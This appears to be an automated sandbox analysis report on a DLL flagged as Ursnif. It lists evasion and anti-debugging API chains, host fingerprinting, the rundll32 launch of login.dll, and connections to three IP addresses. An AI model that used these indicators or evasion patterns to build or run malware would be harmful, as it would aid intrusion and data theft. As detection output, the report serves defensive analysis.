      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

      Malware Analysis System Evasion

      barindex
      Found evasive API chain (may stop execution after checking system information)
      Source: C:\Windows\SysWOW64\rundll32.exeEvasive API call chain: NtQuerySystemInformation,DecisionNodes,Sleep
      Source: C:\Windows\System32\loaddll32.exeEvasive API call chain: NtQuerySystemInformation,DecisionNodes,Sleepgraph_0-20190
      Source: C:\Windows\SysWOW64\regsvr32.exeEvasive API call chain: NtQuerySystemInformation,DecisionNodes,Sleepgraph_3-1087
      Source: C:\Windows\SysWOW64\regsvr32.exe TID: 5144Thread sleep count: 48 > 30Jump to behavior
      Source: C:\Windows\SysWOW64\regsvr32.exe TID: 5144Thread sleep count: 39 > 30Jump to behavior
      Source: C:\Windows\SysWOW64\regsvr32.exe TID: 5144Thread sleep count: 44 > 30Jump to behavior
      Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
      Source: C:\Windows\SysWOW64\rundll32.exeCheck user administrative privileges: GetTokenInformation,DecisionNodes
      Source: C:\Windows\System32\loaddll32.exeCheck user administrative privileges: GetTokenInformation,DecisionNodesgraph_0-21205
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_6CB411D0 FindWindowA,DestroyWindow,GetEnvironmentStrings,task,GetEnvironmentStrings,task,GetEnvironmentStrings,task,GetEnvironmentStrings,task,GetEnvironmentStrings,task,GetEnvironmentStringsA,task,GetSystemDirectoryA,GetEnvironmentStrings,task,GetEnvironmentStrings,task,GetEnvironmentStringsA,task,PathAppendA,GetEnvironmentStrings,task,GetEnvironmentStringsA,task,GetEnvironmentStrings,task,FindFirstFileA,FindNextFileA,task,FindClose,GetEnvironmentStrings,task,GetEnvironmentStrings,task,GetEnvironmentStrings,task,GetTickCount,LoadLibraryExA,GetProcAddress,SleepEx,FreeLibrary,SendMessageTimeoutA,KiUserCallbackDispatcher,task,ExitProcess,DefWindowProcA,task,DestroyWindow,PostQuitMessage,DefWindowProcA,0_2_6CB411D0
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_6CB622BF FindFirstFileExW,0_2_6CB622BF
      Source: C:\Windows\System32\loaddll32.exeAPI call chain: ExitProcess graph end nodegraph_0-23007
      Source: C:\Windows\System32\loaddll32.exeAPI call chain: ExitProcess graph end nodegraph_0-23167
      Source: regsvr32.exe, 00000003.00000002.776504265.000000000319A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWype.comc>q>
      Source: rundll32.exe, 00000005.00000002.776035183.0000000003268000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.776035183.00000000032A6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.609463141.00000000032A6000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW

      Anti Debugging

      barindex
      Found API chain indicative of debugger detection
      Source: C:\Windows\SysWOW64\rundll32.exeDebugger detection routine: NtQueryInformationProcess or NtQuerySystemInformation, DecisionNodes, ExitProcess or Sleep
      Source: C:\Windows\System32\loaddll32.exeDebugger detection routine: NtQueryInformationProcess or NtQuerySystemInformation, DecisionNodes, ExitProcess or Sleepgraph_0-20190
      Source: C:\Windows\SysWOW64\regsvr32.exeDebugger detection routine: NtQueryInformationProcess or NtQuerySystemInformation, DecisionNodes, ExitProcess or Sleepgraph_3-1087
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_6CB5B0A1 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_6CB5B0A1
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_02BF1CEB LoadLibraryA,GetProcAddress,0_2_02BF1CEB
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_6CB63391 GetProcessHeap,0_2_6CB63391
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_6CB5FDBC mov ecx, dword ptr fs:[00000030h]0_2_6CB5FDBC
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_6CB61FD6 mov eax, dword ptr fs:[00000030h]0_2_6CB61FD6
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_02B900A5 mov eax, dword ptr fs:[00000030h]0_2_02B900A5
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_02B90AA6 mov edx, dword ptr fs:[00000030h]0_2_02B90AA6
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_02B90AA6 mov eax, dword ptr fs:[00000030h]0_2_02B90AA6
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_02B912C9 mov edi, dword ptr fs:[00000030h]0_2_02B912C9
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_02B90C5A mov ecx, dword ptr fs:[00000030h]0_2_02B90C5A
      Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 3_2_00D200A5 mov eax, dword ptr fs:[00000030h]3_2_00D200A5
      Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 3_2_00D20C5A mov ecx, dword ptr fs:[00000030h]3_2_00D20C5A
      Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 3_2_00D212C9 mov edi, dword ptr fs:[00000030h]3_2_00D212C9
      Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 3_2_00D20AA6 mov edx, dword ptr fs:[00000030h]3_2_00D20AA6
      Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 3_2_00D20AA6 mov eax, dword ptr fs:[00000030h]3_2_00D20AA6
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_047300A5 mov eax, dword ptr fs:[00000030h]4_2_047300A5
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_04730C5A mov ecx, dword ptr fs:[00000030h]4_2_04730C5A
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_047312C9 mov edi, dword ptr fs:[00000030h]4_2_047312C9
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_04730AA6 mov edx, dword ptr fs:[00000030h]4_2_04730AA6
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_04730AA6 mov eax, dword ptr fs:[00000030h]4_2_04730AA6
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 5_2_04C800A5 mov eax, dword ptr fs:[00000030h]5_2_04C800A5
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 5_2_04C812C9 mov edi, dword ptr fs:[00000030h]5_2_04C812C9
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 5_2_04C80AA6 mov edx, dword ptr fs:[00000030h]5_2_04C80AA6
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 5_2_04C80AA6 mov eax, dword ptr fs:[00000030h]5_2_04C80AA6
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 5_2_04C80C5A mov ecx, dword ptr fs:[00000030h]5_2_04C80C5A
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_6CB5B0A1 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_6CB5B0A1
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_6CB5E973 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_6CB5E973
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_6CB5B35D SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,0_2_6CB5B35D

      HIPS / PFW / Operating System Protection Evasion

      barindex
      System process connects to network (likely due to code injection or exploit)
      Source: C:\Windows\SysWOW64\rundll32.exeNetwork Connect: 31.41.44.76 80Jump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeNetwork Connect: 185.31.160.197 80Jump to behavior
      Source: C:\Windows\SysWOW64\regsvr32.exeDomain query: checklist.skype.com
      Source: C:\Windows\SysWOW64\rundll32.exeNetwork Connect: 194.116.163.130 80Jump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\login.dll",#1Jump to behavior
      Source: C:\Windows\System32\loaddll32.exeCode function: SetThreadPriority,NtQuerySystemInformation,Sleep,GetLocaleInfoA,GetSystemDefaultUILanguage,VerLanguageNameA,GetLongPathNameW,GetLongPathNameW,GetLongPathNameW,WaitForSingleObject,GetExitCodeThread,CloseHandle,GetLastError,GetLastError,0_2_02BF1226
      Source: C:\Windows\SysWOW64\regsvr32.exeCode function: SetThreadPriority,NtQuerySystemInformation,Sleep,GetLocaleInfoA,GetSystemDefaultUILanguage,VerLanguageNameA,GetLongPathNameW,GetLongPathNameW,GetLongPathNameW,WaitForSingleObject,GetExitCodeThread,CloseHandle,GetLastError,GetLastError,3_2_02DF1226
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: SetThreadPriority,NtQuerySystemInformation,Sleep,GetLocaleInfoA,GetSystemDefaultUILanguage,VerLanguageNameA,GetLongPathNameW,GetLongPathNameW,GetLongPathNameW,WaitForSingleObject,GetExitCodeThread,CloseHandle,GetLastError,GetLastError,4_2_04781226
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: SetThreadPriority,NtQuerySystemInformation,Sleep,GetLocaleInfoA,GetSystemDefaultUILanguage,VerLanguageNameA,GetLongPathNameW,GetLongPathNameW,GetLongPathNameW,WaitForSingleObject,GetExitCodeThread,CloseHandle,GetLastError,GetLastError,5_2_04CC1226
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_6CB5AEC0 cpuid 0_2_6CB5AEC0
      Source: C:\Windows\System32\loaddll32.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_02BF1598 GetSystemTimeAsFileTime,_aulldiv,_snwprintf,CreateFileMappingW,GetLastError,GetLastError,MapViewOfFile,GetLastError,CloseHandle,GetLastError,0_2_02BF1598
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_02BF1F1E CreateEventA,GetVersion,GetCurrentProcessId,OpenProcess,GetLastError,0_2_02BF1F1E
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_02C53BD3 RtlAllocateHeap,GetUserNameW,RtlAllocateHeap,GetUserNameW,HeapFree,GetComputerNameW,GetComputerNameW,RtlAllocateHeap,GetComputerNameW,HeapFree,0_2_02C53BD3

      Stealing of Sensitive Information

      barindex
      Yara detected Ursnif
      Source: Yara matchFile source: 00000005.00000003.402824298.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.402788585.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.400112516.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.400138140.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000002.776926213.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.420109075.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.402902161.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.435100525.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.420196310.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.402754328.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.420136770.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.420215515.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000002.777293786.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.402859474.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.435117277.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.434913217.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.402946771.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.400069783.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.746495986.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000002.777253289.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.420251471.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.400182449.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.400160942.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.435078863.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.435048081.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
